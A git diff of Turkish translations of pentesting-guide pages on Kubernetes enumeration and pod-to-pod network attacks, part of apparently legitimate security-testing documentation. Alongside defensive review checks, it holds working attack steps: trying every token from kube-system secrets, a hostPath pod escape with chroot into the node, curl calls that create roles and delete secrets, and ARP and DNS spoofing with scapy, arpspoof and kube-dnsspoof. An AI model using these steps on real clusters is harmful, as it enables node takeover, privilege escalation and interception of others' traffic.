Helm metadata, policy exemptions ve service mesh yapılandırması gibi operasyonel bağlamı leak edebilir. Secret içermemelidirler, ancak gerçek cluster’lar çoğu zaman burada yararlı ipuçları ortaya çıkarır. +- `metadata.ownerReferences` controller soyunu gösterir. Bir Pod, bir Deployment tarafından sahiplenilen bir ReplicaSet tarafından sahipleniliyorsa, sadece Pod’u değiştirmek veya silmek genellikle kaynağı düzeltmez. +- `metadata.finalizers` ve `metadata.deletionTimestamp`, silinmede takılı kalan resource’ları açıklar ve cleanup controller’larını ya da persistence/disruption tricks’lerini ortaya çıkarabilir. +- `status`, Events ve conditions; node yerleşimini, pod IP’lerini, image ID’lerini, failure mesajlarını, scheduling sorunlarını, admission denials’ı ve controller ilerlemesini ortaya çıkarabilir. Bunlar yararlı ipuçlarıdır, ancak bir aksiyonu kimin gerçekleştirdiğini kanıtlamak için audit logs yine de gereklidir. + +### Dynamic Resource Allocation and device evidence + +Cluster GPU, NIC, FPGA veya başka özel donanımlar kullanıyorsa, Kubernetes Dynamic Resource Allocation (DRA) olup olmadığını kontrol edin. DRA, mevcut cihazları tanımlamak ve bunları Pods için claim etmek amacıyla `DeviceClass`, `ResourceSlice`, `ResourceClaim` ve `ResourceClaimTemplate` gibi `resource.k8s.io` objects kullanır. Bu objects, hangi nodes’un değerli donanımlara erişebildiğini, bunu hangi driver’ın yönettiğini ve hangi workload’un bir allocation’a sahip olduğunu ortaya çıkarabilir. +```bash +kubectl api-resources --api-group=resource.k8s.io +kubectl get deviceclasses.resource.k8s.io 2>/dev/null +kubectl get resourceslices.resource.k8s.io 2>/dev/null +kubectl get resourceclaims.resource.k8s.io -A 2>/dev/null +kubectl get resourceclaimtemplates.resource.k8s.io -A 2>/dev/null +kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}{"/"}{.metadata.name}{" claims="}{.spec.resourceClaims}{" node="}{.spec.nodeName}{"\n"}{end}' +kubectl get daemonsets,pods -A -o wide | grep -Ei 'dra|device|gpu|nvidia|amd|intel|sriov|fpga' +``` +İnceleme sırasında, cluster-scoped `DeviceClass` ve `ResourceSlice` nesnelerine yazma izinlerini yalnızca admin ve DRA driver’larla sınırlandırın, `ResourceClaim` / `ResourceClaimTemplate` yetkilerini ise bunlara ihtiyaç duyan namespace’lerle sınırlı tutun. Driver’ların `ResourceClaim` status’unu güncelleme izinleri açık ve dar kapsamlı olmalıdır. Node’larda, kubelet PodResources API genellikle `/var/lib/kubelet/pod-resources/kubelet.sock` üzerinden erişilebilir; monitoring DaemonSets bu dizini atanmış cihazları incelemek için mount edebilir, bu yüzden bu Pods’ları diğer privileged node agent’lar gibi gözden geçirin. + +### ClusterTrustBundle ve add-on certificate trust + +Yeni clusters, `certificates.k8s.io` API group içinde `ClusterTrustBundle` nesnelerini expose edebilir. Bunlar cluster-scoped X.509 trust anchor bundle’larıdır ve Pods bunları projected volumes üzerinden mount edebilir. Geniş read erişimi beklenir, ancak write erişimi hassastır çünkü trusted root’ların değiştirilmesi webhooks, aggregated APIs, service meshes ve cluster-distributed CA materyalini tüketen uygulamaları etkileyebilir. +```bash +kubectl api-resources --api-group=certificates.k8s.io | grep -i clustertrustbundle +kubectl get clustertrustbundles.certificates.k8s.io 2>/dev/null +kubectl get clustertrustbundle -o yaml 2>/dev/null +kubectl get pods -A -o yaml | grep -n -E 'clusterTrustBundle|trustBundle|caBundle' +kubectl get apiservices -o jsonpath='{range .items[*]}{.metadata.name}{" insecure="}{.spec.insecureSkipTLSVerify}{" service="}{.spec.service.namespace}{"/"}{.spec.service.name}{"\n"}{end}' +``` +During review, `signerName`, bundle fingerprints, writer identities, projected-volume consumers, and any trust-distribution controller such as cert-manager trust-manager kaydedin. `APIService` objects with `insecureSkipTLSVerify: true`, stale `caBundle` values, or broad permissions to patch APIService/webhook trust fields are certificate-trust findings rather than ordinary object inventory olarak ele alın. ### Get Current Privileges @@ -212,21 +238,21 @@ kurl -i -s -k -X $'POST' \ {{#endtab }} {{#endtabs }} -Yetkilerinizi kontrol etmenin başka bir yolu şu aracı kullanmaktır: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\* +Yetkilerinizi kontrol etmenin başka bir yolu da şu aracı kullanmaktır: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\* -**Kubernetes RBAC** hakkında daha fazla bilgi edinebilirsiniz: +**Kubernetes RBAC** hakkında daha fazla bilgiyi şurada öğrenebilirsiniz: {{#ref}} kubernetes-role-based-access-control-rbac.md {{#endref}} -**Hangi yetkilere sahip olduğunuzu öğrendikten sonra**, bunları yetki yükseltmek için **istismar edip edemeyeceğinizi** anlamak için aşağıdaki sayfayı kontrol edin: +**Hangi yetkilere** sahip olduğunuzu öğrendikten sonra, yetki yükseltmek için **bunları abuse edebilir misiniz** anlamak için aşağıdaki sayfayı kontrol edin: {{#ref}} abusing-roles-clusterroles-in-kubernetes/ {{#endref}} -### Başkalarının rollerini al +### Get Others roles {{#tabs }} {{#tab name="kubectl" }} @@ -244,9 +270,9 @@ kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clu {{#endtab }} {{#endtabs }} -### Namespace’leri edin +### Namespace'leri alın -Kubernetes, aynı fiziksel cluster tarafından desteklenen **birden fazla sanal cluster**'ı destekler. Bu sanal cluster'lara **namespaces** denir. +Kubernetes, aynı fiziksel cluster tarafından desteklenen **birden çok sanal cluster** destekler. Bu sanal cluster'lara **namespace** denir. {{#tabs }} {{#tab name="kubectl" }} @@ -262,7 +288,7 @@ kurl -k -v https://$APISERVER/api/v1/namespaces/ {{#endtab }} {{#endtabs }} -### Secret'leri al +### Secretleri elde et {{#tabs }} {{#tab name="kubectl" }} @@ -281,13 +307,13 @@ kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/ {{#endtab }} {{#endtabs }} -Eğer secrets okuyabiliyorsan, her token ile ilişkili ayrıcalıkları almak için aşağıdaki satırları kullanabilirsin: +Gizli bilgileri okuyabiliyorsanız, her token ile ilişkili yetkileri elde etmek için aşağıdaki satırları kullanabilirsiniz: ```bash for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done ``` -### Service Account’ları Al +### Service Accountları Al -Bu sayfanın başında tartışıldığı gibi **bir pod çalıştırıldığında genellikle ona bir service account atanır**. Bu nedenle, service account’ları, izinlerini ve nerede çalıştıklarını listelemek, bir kullanıcının yetkilerini yükseltmesine izin verebilir. +Bu sayfanın başında tartışıldığı gibi **bir pod çalıştırıldığında ona genellikle bir service account atanır**. Bu nedenle, service accountları, izinleri ve nerede çalıştıkları listesini çıkarmak, bir kullanıcının yetkilerini yükseltmesine izin verebilir. {{#tabs }} {{#tab name="kubectl" }} @@ -303,9 +329,9 @@ kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts {{#endtab }} {{#endtabs }} -### Deployment'ları Al +### Deployment'leri Al -Deployment'lar, stateless application workload'ları için istenen state'i belirtir. ReplicaSet'ler oluştururlar ve bu ReplicaSet'ler de Pod'lar oluşturur. +Deployment'ler stateless application iş yükleri için istenen durumu belirtir. ReplicaSet'leri oluştururlar ve bu ReplicaSet'ler de Pod'ları oluşturur. {{#tabs }} {{#tab name="kubectl" }} @@ -324,7 +350,7 @@ kurl -v https://$APISERVER/apis/apps/v1/namespaces//deployments/ ### StatefulSets Al -StatefulSets, sabit adlara, sıralı rollout davranışına ve çoğu zaman replica başına persistent volumes'a ihtiyaç duyan Pods'ları yönetir. +StatefulSets, sabit isimlere, sıralı rollout davranışına ve çoğu zaman her replica için kalıcı volume’lara ihtiyaç duyan Pods’u yönetir. {{#tabs }} {{#tab name="kubectl" }} @@ -341,9 +367,9 @@ kurl -v https://$APISERVER/apis/apps/v1/namespaces//statefulsets/ {{#endtab }} {{#endtabs }} -### Podları Al +### Pod'ları Al -Podlar, **çalışacak** gerçek **container**'lardır. +Pod'lar, **çalışacak** gerçek **containers**'lardır. {{#tabs }} {{#tab name="kubectl" }} @@ -362,7 +388,7 @@ kurl -v https://$APISERVER/api/v1/namespaces//pods/ ### Servisleri Al -Kubernetes **services** bir **servisi belirli bir port ve IP üzerinde expose etmek** için kullanılır (bu, aslında servisi sunan pod'lar için load balancer olarak çalışır). Bu, saldırmayı denemek için başka servisleri nerede bulabileceğini bilmek açısından ilginçtir. +Kubernetes **services** bir **servisi belirli bir port ve IP üzerinde expose etmek** için kullanılır (bu, hizmeti gerçekten sağlayan pod’lara karşı load balancer olarak davranır). Bu, saldırmayı denemek için başka services’i nerede bulabileceğini bilmek açısından ilginçtir. {{#tabs }} {{#tab name="kubectl" }} @@ -379,9 +405,9 @@ kurl -v https://$APISERVER/api/v1/namespaces//services/ {{#endtab }} {{#endtabs }} -### Node'ları Get et +### Node'ları al -Cluster içinde yapılandırılmış tüm **node'ları** Get et. +Cluster içine yapılandırılmış tüm **node'ları** alın. {{#tabs }} {{#tab name="kubectl" }} @@ -397,9 +423,9 @@ kurl -v https://$APISERVER/api/v1/nodes/ {{#endtab }} {{#endtabs }} -### DaemonSets Alın +### DaemonSets'i Alın -**DaemonSets**, kümenin **seçilen tüm node'larında belirli bir Pod'un çalışmasını** sağlar. DaemonSet'i silerseniz, onun tarafından yönetilen Pod'lar da kaldırılacaktır. +**DaemonSets**, bir **belirli Pod'un kümedeki tüm seçili node'larda çalışmasını** sağlar. DaemonSet'i silerseniz, onun tarafından yönetilen Pod'lar da kaldırılır. {{#tabs }} {{#tab name="kubectl" }} @@ -415,9 +441,9 @@ kurl -v https://$APISERVER/apis/apps/v1/namespaces//daemonsets {{#endtab }} {{#endtabs }} -### Jobs Al +### Jobları Al -Jobs, tamamlanana kadar çalışan Pods oluşturur. Genellikle migrations, backups, batch work ve tek seferlik administrative tasks için kullanılır. +Joblar, tamamlanana kadar çalışan Pods oluşturur. Genellikle migrationlar, backups, batch work ve tek seferlik administrative tasks için kullanılır. {{#tabs }} {{#tab name="kubectl" }} @@ -434,9 +460,9 @@ kurl -v https://$APISERVER/apis/batch/v1/namespaces//jobs {{#endtab }} {{#endtabs }} -### CronJob’ları Al +### CronJobs Al -CronJob’lar, görev tarzı yürütme için Pod’ları başlatan Job’lar oluşturmak üzere crontab benzeri bir zamanlama kullanır. +CronJobs, görev tarzı yürütme için Pod'ları başlatan Jobs oluşturmak üzere crontab benzeri bir zamanlama kullanır. {{#tabs }} {{#tab name="kubectl" }} @@ -453,9 +479,9 @@ kurl -v https://$APISERVER/apis/batch/v1/namespaces//cronjobs {{#endtab }} {{#endtabs }} -### configMap al +### configMap alın -configMap her zaman kubernetes içinde çalışan uygulamalara sağlanan çok sayıda bilgi ve configfile içerir. Genellikle diğer internal/external service’lere bağlanmak ve doğrulama yapmak için kullanılan birçok password, secrets, token bulunabilir. +configMap her zaman kubernetes içinde çalışan uygulamalara sağlanan çok fazla bilgi ve configfile içerir. Genellikle diğer internal/external service'lere bağlanmak ve doğrulamak için kullanılan birçok password, secrets, token bulabilirsiniz. {{#tabs }} {{#tab name="kubectl" }} @@ -471,7 +497,7 @@ kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps {{#endtab }} {{#endtabs }} -### Network Policies / Cilium Network Policies alın +### Network Policy'leri / Cilium Network Policy'leri al {{#tabs }} {{#tab name="First Tab" }} @@ -483,7 +509,7 @@ k get CiliumClusterwideNetworkPolicies {{#endtab }} {{#endtabs }} -### Her Şeyi / Hepsini Al +### Her Şeyi / Tümünü Al {{#tabs }} {{#tab name="kubectl" }} @@ -493,7 +519,7 @@ k get all {{#endtab }} {{#endtabs }} -### **helm tarafından yönetilen tüm kaynakları alın** +### **helm tarafından yönetilen tüm kaynakları al** {{#tabs }} {{#tab name="kubectl" }} @@ -513,21 +539,21 @@ k top pod --all-namespaces {{#endtab }} {{#endtabs }} -## kubectl kullanmadan cluster ile etkileşim kurmak +## Cluster ile kubectl kullanmadan etkileşim kurmak -Kubernetes control plane'in REST-ful bir API ortaya koyduğunu gördüğünüzde, HTTP isteklerini elle oluşturup bunları **curl** veya **wget** gibi diğer araçlarla gönderebilirsiniz. +Kubernetes control plane'in REST-ful bir API açtığını gördüğünüzde, HTTP isteklerini elle oluşturup bunları **curl** veya **wget** gibi diğer araçlarla gönderebilirsiniz. -### Pod'dan kaçış +### Pod'dan kaçmak -Yeni pod'lar oluşturabiliyorsanız, onlardan node'a kaçış yapmanız mümkün olabilir. Bunu yapmak için bir yaml dosyası kullanarak yeni bir pod oluşturmanız, oluşturulan pod'a geçmeniz ve ardından node'un sistemine chroot yapmanız gerekir. Yaml dosyası için halihazırda var olan pod'ları referans olarak kullanabilirsiniz; çünkü bunlar mevcut image'ları ve path'leri gösterir. +Yeni pods oluşturabiliyorsanız, onlardan node'a escape etmeyi başarabilirsiniz. Bunu yapmak için bir yaml dosyası kullanarak yeni bir pod oluşturmanız, oluşturulan pod'a geçmeniz ve ardından node'un sistemine chroot yapmanız gerekir. yaml dosyası için zaten var olan pods'ları referans olarak kullanabilirsiniz; çünkü bunlar mevcut images ve pathes'i gösterir. ```bash kubectl get pod [-n ] -o yaml ``` -> belirli bir node üzerinde pod oluşturmanız gerekiyorsa, node üzerindeki labels'ı almak için aşağıdaki komutu kullanabilirsiniz +> belirli bir node üzerinde pod oluşturmanız gerekiyorsa, node üzerindeki label'ları almak için aşağıdaki komutu kullanabilirsiniz > > `k get nodes --show-labels` > -> Genellikle, kubernetes.io/hostname ve node-role.kubernetes.io/master seçmek için iyi label'lardır. +> Genellikle, kubernetes.io/hostname ve node-role.kubernetes.io/master seçim için iyi label'lar olur. Ardından attack.yaml dosyanızı oluşturursunuz ```yaml @@ -561,21 +587,21 @@ restartPolicy: Never ``` [original yaml source](https://gist.github.com/abhisek/1909452a8ab9b8383a2e94f95ab0ccba) -Bundan sonra pod oluşturursun +Sonrasında pod oluşturursun ```bash kubectl apply -f attacker.yaml [-n ] ``` -Şimdi oluşturulan pod'a şu şekilde geçebilirsiniz +Şimdi oluşturulan pod’a aşağıdaki şekilde geçiş yapabilirsiniz ```bash kubectl exec -it attacker-pod [-n ] -- sh # attacker-pod is the name defined in the yaml file ``` -Ve sonunda node’un sistemine chroot edersin +Ve sonunda node'un system'ine chroot yaparsın ```bash chroot /root /bin/bash ``` Information obtained from: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/) -### privileged bir pod oluşturma +### Ayrıcalıklı bir pod oluşturma İlgili yaml dosyası aşağıdaki gibidir: ```yaml @@ -623,7 +649,7 @@ curl --path-as-is -i -s -k -X $'POST' \ ``` ### Bir pod sil -curl ile bir pod sil: +curl ile bir pod silin: ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -658,7 +684,7 @@ curl --path-as-is -i -s -k -X $'POST' \ --data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" ``` -### Bir Service Account silin +### Bir Service Account silme ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -675,7 +701,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME" ``` -### Bir Role Oluşturun +### Bir Role oluşturun ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -693,7 +719,7 @@ curl --path-as-is -i -s -k -X $'POST' \ --data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \ "https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" ``` -### Bir Role sil +### Bir Role silme ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -728,7 +754,7 @@ curl --path-as-is -i -s -k -X $'POST' \ --data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \ "https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" ``` -### Bir Role Binding silin +### Bir Role Binding silinmesi ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -746,7 +772,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ "https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME" ``` -### Bir Secret silme +### Bir Secret silin ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -781,7 +807,7 @@ ccurl --path-as-is -i -s -k -X $'DELETE' \ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME" ``` -## References +## Referanslar {{#ref}} https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-3 diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md b/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md index ba35508f7..2a314b1b4 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md @@ -4,13 +4,13 @@ ## Introduction -Kubernetes'te, varsayılan davranışın **aynı node üzerinde bulunan tüm containerlar** arasında bağlantı kurulmasına izin verdiği gözlemlenmiştir. Bu, namespace ayrımlarından bağımsız olarak geçerlidir. Bu bağlantı **Layer 2**'ye (Ethernet) kadar uzanır. Sonuç olarak, bu yapılandırma sistemi potansiyel olarak açıklara maruz bırakır. Özellikle, bir **malicious container**'ın aynı node üzerindeki diğer containerlara karşı bir **ARP spoofing attack** gerçekleştirmesine olanak tanır. Böyle bir attack sırasında, malicious container diğer containerlara yönelik network traffic'i aldatıcı biçimde intercept veya modify edebilir. +Kubernetes’te, varsayılan bir davranışın, **aynı node üzerinde bulunan tüm container**’lar arasında bağlantı kurulmasına izin verdiği gözlemlenmiştir. Bu, namespace farklarından bağımsız olarak geçerlidir. Bu bağlantı **Layer 2**’ye (Ethernet) kadar uzanır. Sonuç olarak, bu yapılandırma sistemi potansiyel olarak güvenlik açıklarına maruz bırakır. Özellikle, aynı node üzerindeki diğer container’lara karşı **malicious container**’ın bir **ARP spoofing attack** gerçekleştirmesine olanak tanır. Böyle bir saldırı sırasında malicious container, diğer container’lar için amaçlanan network traffic’i hileli şekilde kesebilir veya değiştirebilir. -ARP spoofing attack'ler, **attacker'ın yerel ağ üzerinden sahte ARP** (Address Resolution Protocol) mesajları göndermesini içerir. Bu, **attacker'ın MAC address'i ile ağdaki meşru bir bilgisayar veya server'ın IP address'i arasında bağlantı kurulmasına** yol açar. Böyle bir attack başarıyla gerçekleştirildikten sonra, attacker transit halindeki data'yı intercept, modify edebilir veya hatta durdurabilir. Attack, OSI modelinin Layer 2'sinde gerçekleştirilir; bu nedenle Kubernetes'teki bu katmandaki varsayılan connectivity security concerns oluşturur. +ARP spoofing attacks, saldırganın yerel bir ağ üzerinde sahte **ARP** (Address Resolution Protocol) mesajları göndermesini içerir. Bu, **saldırganın MAC address’inin ağdaki meşru bir bilgisayar veya server’ın IP address’i ile ilişkilendirilmesi** ile sonuçlanır. Böyle bir saldırı başarıyla gerçekleştirildikten sonra, saldırgan verileri transit halinde kesebilir, değiştirebilir veya hatta durdurabilir. Saldırı OSI modelinin Layer 2’sinde gerçekleştirilir; bu nedenle Kubernetes’te bu katmandaki varsayılan bağlantı güvenlik endişeleri doğurur. -Bu senaryoda 4 machine oluşturulacaktır: +Senaryoda 4 machine oluşturulacak: -- ubuntu-pe: Node'a escape etmek ve metrics kontrol etmek için privileged machine (attack için gerekli değil) +- ubuntu-pe: node’a kaçmak ve metrics kontrol etmek için privileged machine (saldırı için gerekli değil) - **ubuntu-attack**: default namespace içinde **malicious** container - **ubuntu-victim**: kube-system namespace içinde **Victim** machine - **mysql**: default namespace içinde **Victim** machine @@ -98,20 +98,36 @@ kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; ba ``` ## Basic Kubernetes Networking -Burada tanıtılan networking konuları hakkında daha fazla ayrıntı istiyorsanız, referanslara gidin. +Burada tanıtılan networking konuları hakkında daha fazla detay istiyorsanız, references kısmına gidin. ### ARP -Genel olarak, **node içindeki pod-to-pod networking**, tüm pod'ları birbirine bağlayan bir **bridge** üzerinden sağlanır. Bu bridge “**cbr0**” olarak adlandırılır. (Bazı network plugin'leri kendi bridge'ini kurar.) **cbr0 ayrıca ARP** (Address Resolution Protocol) çözümlemesini de yapabilir. Gelen bir packet cbr0'ya ulaştığında, hedef MAC address'ini ARP kullanarak çözebilir. +Genel olarak konuşursak, node içindeki **pod-to-pod networking** tüm pod’ları bağlayan bir **bridge** üzerinden sağlanır. Bu bridge “**cbr0**” olarak adlandırılır. (Bazı network plugins kendi bridge’lerini kurar.) **cbr0 ayrıca ARP** (Address Resolution Protocol) çözümlemesini de yapabilir. Bir incoming packet cbr0’ya ulaştığında, hedef MAC address’i ARP kullanarak çözebilir. -Bu gerçek, varsayılan olarak, **aynı node üzerinde çalışan her pod'un**, ethernet seviyesinde (layer 2) aynı node içindeki herhangi başka bir pod ile **communicate** edebileceği anlamına gelir (namespace'den bağımsız olarak). +Bu durum, varsayılan olarak, **aynı node üzerinde çalışan her pod’un** aynı node’daki diğer herhangi bir pod ile, namespace’ten bağımsız olarak, ethernet seviyesinde (layer 2) **communicate** edebileceği anlamına gelir. > [!WARNING] -> Bu nedenle, aynı node içindeki pod'lar arasında A**RP Spoofing attacks** gerçekleştirmek mümkündür. +> Bu nedenle, aynı node’daki pod’lar arasında A**RP Spoofing attacks** yapmak mümkündür. + +### NetworkPolicy and admin policy layers + +Kubernetes `NetworkPolicy`, L3/L4 seviyesinde pod traffic control sağlar, ancak API server tarafından değil CNI plugin tarafından uygulanır. Bir cluster, NetworkPolicy objelerini saklayıp yine de traffic’e izin verebilir; eğer aktif CNI bunları implement etmiyorsa, bu yüzden her zaman kontrollü bir allowed source ve blocked negative-control source ile doğrulayın. + +`kubectl get networkpolicy -A` ile yetinmeyin. Cilium, Calico, OVN-Kubernetes, Antrea veya managed-provider dataplanes kullanan cluster’larda ayrıca `CiliumNetworkPolicy`, `CiliumClusterwideNetworkPolicy`, Calico `GlobalNetworkPolicy`, `AdminNetworkPolicy` veya `BaselineAdminNetworkPolicy` gibi policy APIs de olabilir. Bunlar explicit deny, tier/order, cluster scope, L7/DNS rules veya ordinary additive Kubernetes NetworkPolicy semantics’in açıklamadığı admin guardrails ekleyebilir. + +Useful first checks: +```bash +kubectl api-resources | grep -Ei 'networkpolicy|adminnetworkpolicy|cilium|calico' +kubectl get networkpolicy -A +kubectl get cnp,ccnp -A 2>/dev/null +kubectl get globalnetworkpolicy -A 2>/dev/null +kubectl get adminnetworkpolicy,baselineadminnetworkpolicy -A 2>/dev/null +``` +Bypass analizi için, amaçlanan bloklamanın izin verilen bir proxy, DNS veya egress gateway, `hostNetwork` pod, node-local path, geniş namespace ya da pod label selector veya daha yüksek öncelikli bir admin/global policy üzerinden aşılıp aşılmadığını kontrol edin. Kaynak pod label’larını, namespace label’larını, hedef Service veya EndpointSlice’i, CNI/policy implementation’ını, kararı veren policy kuralını ve trafik kanıtını raporlayın. ### DNS -kubernetes ortamlarında genellikle kube-system namespace'inde çalışan 1 (veya daha fazla) **DNS services** bulursunuz: +kubernetes ortamlarında genellikle kube-system namespace’inde çalışan 1 (veya daha fazla) **DNS service** bulursunuz: ```bash kubectl -n kube-system describe services Name: kube-dns @@ -136,30 +152,30 @@ Port: metrics 9153/TCP TargetPort: 9153/TCP Endpoints: 172.17.0.2:9153 ``` -Önceki bilgide ilginç bir şey görebilirsiniz, **servisin IP** adresi **10.96.0.10** ama servisi çalıştıran **pod’un IP** adresi **172.17.0.2.** +Önceki bilgide ilginç bir şey görebilirsiniz, **servisin IP'si** **10.96.0.10** ancak servisi çalıştıran **pod'un IP'si** **172.17.0.2.** -Herhangi bir pod içindeki DNS adresini kontrol ederseniz buna benzer bir şey bulacaksınız: +Herhangi bir pod içindeki DNS adresini kontrol ederseniz, bunun gibi bir şey bulursunuz: ``` cat /etc/resolv.conf nameserver 10.96.0.10 ``` -Ancak pod, bu **adrese** nasıl ulaşacağını **bilmez** çünkü bu durumda **pod range** 172.17.0.10/26’dır. +Ancak, pod bu **adrese** nasıl ulaşacağını **bilmiyor** çünkü bu durumda **pod range** 172.17.0.10/26. -Bu nedenle, pod **DNS isteklerini 10.96.0.10 adresine** gönderecek ve bu adres cbr0 tarafından **172.17.0.2’ye** **translate** edilecektir. +Bu nedenle, pod **DNS isteklerini 10.96.0.10 adresine** gönderecek ve bu istekler cbr0 tarafından **172.17.0.2’ye** **translated** edilecektir. > [!WARNING] -> Bu, bir pod’un **DNS request**’inin, DNS server aynı alt ağda olsa bile, **service IP’yi endpoint IP’ye translate etmek** için **her zaman** **bridge** üzerinden gideceği anlamına gelir. +> Bu, bir pod’un **DNS request**’inin, DNS server pod ile aynı subnetwork içinde olsa bile, **service IP’yi endpoint IP’ye translate etmek** için **her zaman bridge** üzerinden gideceği anlamına gelir. > -> Bunu bildiğimizde ve **ARP attacks** mümkün olduğunda, bir node içindeki bir **pod** **subnetwork** ile **bridge** arasındaki **her pod** arasındaki trafiği **intercept** edip DNS server’dan gelen **DNS responses**’ları (**DNS Spoofing**) **modify** edebilecektir. +> Bunu bildiğimizde ve **ARP attacks are possible** olduğunu düşündüğümüzde, bir node içindeki **pod**, aynı subnetworkteki **her pod** ile **bridge** arasındaki trafiği **intercept** edip DNS server’dan gelen **DNS responses**’ları değiştirebilir (**DNS Spoofing**). > -> Ayrıca, eğer **DNS server** saldırganla **aynı node** üzerindeyse, saldırgan cluster’daki herhangi bir pod’un **tüm DNS request**’lerini (DNS server ile bridge arasında) **intercept** edip yanıtları değiştirebilir. +> Ayrıca, eğer **DNS server** saldırganla **aynı node** üzerindeyse, saldırgan cluster’daki herhangi bir pod’un tüm **DNS request**’lerini (DNS server ile bridge arasında) **intercept** edip yanıtları değiştirebilir. > [!NOTE] -> Gerçek bir cluster’da bunun çalıştığını varsaymadan önce aktif CNI ve DNS path’i doğrulayın. Bazı CNI’ler aynı node trafiğini farklı şekilde route eder veya isolate eder, ayrıca NodeLocal DNSCache kullanan cluster’lar pod DNS sorgularını CoreDNS’e iletmeden önce node-local bir adrese gönderebilir. Bu ortamlarda DNS spoofing; pod yerleşimine, packet yeteneklerine, resolver yapılandırmasına, node-local cache davranışına ve uygulamaların peer’leri TLS veya başka bir kimlik mekanizmasıyla doğrulayıp doğrulamadığına bağlıdır. +> Bunun gerçek bir cluster’da çalıştığını varsaymadan önce aktif CNI ve DNS path’i doğrulayın. Bazı CNI’lar aynı node trafiğini farklı şekilde route eder veya izole eder; NodeLocal DNSCache kullanan cluster’lar ise pod DNS sorgularını CoreDNS’e iletmeden önce node-local bir adrese gönderebilir. Bu ortamlarda DNS spoofing; pod yerleşimine, packet capabilities’ye, resolver configuration’a, node-local cache davranışına ve uygulamaların peer’leri TLS veya başka bir kimlik mekanizmasıyla doğrulayıp doğrulamadığına bağlıdır. ## Aynı Node içindeki pod’larda ARP Spoofing -Amacımız, en azından ubuntu-victim ile mysql arasındaki iletişimi **steal** etmektir. +Amacımız **ubuntu-victim ile mysql arasındaki iletişimi** en azından **steal** etmektir. ### Scapy ```bash @@ -236,11 +252,11 @@ arpspoof -t 172.17.0.9 172.17.0.10 ``` ## DNS Spoofing -Daha önce de belirtildiği gibi, **DNS server pod** ile aynı node üzerinde bir pod'u **compromise** ederseniz, **bridge** ve **DNS** pod arasında **ARPSpoofing** ile **MitM** yapabilir ve **tüm DNS responses**'ları **modify** edebilirsiniz. +Daha önce de belirtildiği gibi, eğer **DNS server pod’u ile aynı node içindeki bir pod’u ele geçirirseniz**, **bridge** ve **DNS** pod’u arasında **ARPSpoofing** ile **MitM** yapabilir ve **tüm DNS responses**’ları **modify** edebilirsiniz. -Bunu test etmek için gerçekten güzel bir **tool** ve **tutorial** var: [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/) +Bunu test etmek için gerçekten güzel bir **tool** ve **tutorial** şu adreste var: [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/) -Bizim senaryomuzda, **tool**'u attacker pod'a **download** edin ve **spoof** etmek istediğiniz **domains** ile `hosts` adlı bir **file** oluşturun, örneğin: +Bizim senaryomuzda, **tool**’u attacker pod’una 